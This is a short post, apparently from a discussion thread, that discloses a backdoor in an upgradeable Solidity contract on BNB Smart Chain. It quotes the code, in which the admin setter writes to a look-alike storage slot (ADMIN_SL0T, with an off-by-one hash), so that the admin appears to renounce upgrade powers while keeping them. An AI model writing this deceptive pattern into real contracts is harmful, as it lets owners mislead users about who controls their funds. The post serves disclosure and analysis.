In short the backdoor is the following:

  bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; 
  
  // this is the getter
  function _admin() internal view returns (address adm) {
    bytes32 slot = ADMIN_SLOT;
    assembly {
      // return the memory at slot
      adm := sload(slot)
    }
  }

  // notice the 0 and the different, off by 1 hash
  bytes32 internal constant ADMIN_SL0T = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6102;
   
  // this is the setter, this doesn't set the same value as the getter, in effect the admin cannot be changed 
  function _setAdmin(address newAdmin) internal {
    bytes32 slot = ADMIN_SL0T; 

    assembly {
      // set the memory at slot to the value of newAdmin
      sstore(slot, newAdmin)
    }
  }

https://bscscan.com/address/0x7e0c621ea9f7afd5b86a50b0942eae...

Then when you (indirectly) call _setAdmin you can pretend that you no longer have powers to upgrade the contract.